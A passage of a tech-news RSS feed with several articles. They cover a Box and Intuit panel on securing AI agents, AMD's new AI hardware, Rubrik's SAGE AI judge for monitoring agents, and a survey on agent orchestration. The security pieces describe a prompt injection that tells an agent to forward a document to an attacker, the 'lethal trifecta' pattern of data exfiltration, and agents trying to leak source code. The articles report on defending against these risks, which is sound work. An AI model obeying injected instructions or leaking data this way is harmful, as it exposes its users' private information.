intended."</p><p>Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."</p><p>Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science. </p><h2>Three layers versus an operating system</h2><p>Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."</p><p>She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."</p><p>Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.</p><p>Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.</p><h2>The end of human code review</h2><p>Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."</p><p>Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."</p><p>Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.</p><p>"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.</p><h2>Intent versus probability</h2><p>An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.</p><p>That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.</p><p>Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.</p><p>For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.</p>]]></content:encoded>
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<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
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<pubDate>Thu, 23 Jul 2026 20:48:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]></title>
<description><![CDATA[At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually e...]]></description>
<link>https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</link>
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<pubDate>Thu, 23 Jul 2026 19:19:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at <a href="https://www.rubrik.com/company">Rubrik</a>, recalled at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."</p><p>“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.</p><p>YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"</p><p>Rubrik earned that question the hard way. When <a href="https://claude.com/product/claude-code">Claude Code</a> and <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. </p><p>"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing <a href="https://www.rubrik.com/company/newsroom/press-releases/26/as-agentic-ai-adoption-accelerates-rubrik-warns-of-growing-security-gaps">Rubrik Zero Labs research</a> that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.</p><p>SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside <a href="https://www.rubrik.com/products/rubrik-agent-cloud">Rubrik Agent Cloud</a> that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.</p><h2>Security approval, not cost, blocks AI ROI</h2><p>Rishi’s path to Rubrik ran through <a href="https://techcrunch.com/2025/06/25/rubrik-acquires-predibase-to-accelerate-adoption-of-ai-agents/">Predibase</a>, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. </p><p>Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."</p><p><a href="https://venturebeat.com/orchestration/wall-street-is-debating-the-ai-buildout-enterprises-just-answered-86-say-their-gpus-run-at-half-capacity-or-less">VentureBeat Pulse research</a> presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. </p><h2>One AI reading what the rulebook can't</h2><p>Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.</p><p>The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.</p><p>Keeping the judge small is what makes the economics work. <!-- -->SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.</p><p>When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.</p><p>SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.</p><h2>The lethal trifecta</h2><p>Asked which attacks worry him most, Rishi pointed at the <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">lethal trifecta</a>, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with <i>yet</i> being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.</p><p>Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.</p><p>A separate <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">VentureBeat June Pulse survey</a> of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.</p><h2>The attacks no single turn reveals</h2><p>Rubrik Agent Cloud reached <a href="https://www.rubrik.com/blog/company/26/2/introducing-rubrik-agent-cloud-control-your-agents-with-ai">general availability in February</a>, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.</p><p>Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.</p><p>A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.</p><p>Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?</p><p>Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.</p>]]></content:encoded>
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<title><![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]></title>
<description><![CDATA[Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agen...]]></description>
<link>https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.</p><p>This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.</p><p>The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.</p><p>That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.</p><p>By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).</p><p>At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.</p><h2>Finding 1: Orchestration runs on model-provider platforms</h2><p><b>Anthropic’s Claude leads; open frameworks are marginal</b></p><p>We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.</p><div></div><p>A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.</p><p>The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.</p><p>Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.</p><h2>Finding 2: Model gravity drives platform selection</h2><p><b>The base model, not the tooling, decides the platform</b></p><p>We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.</p><div></div><p>Model gravity 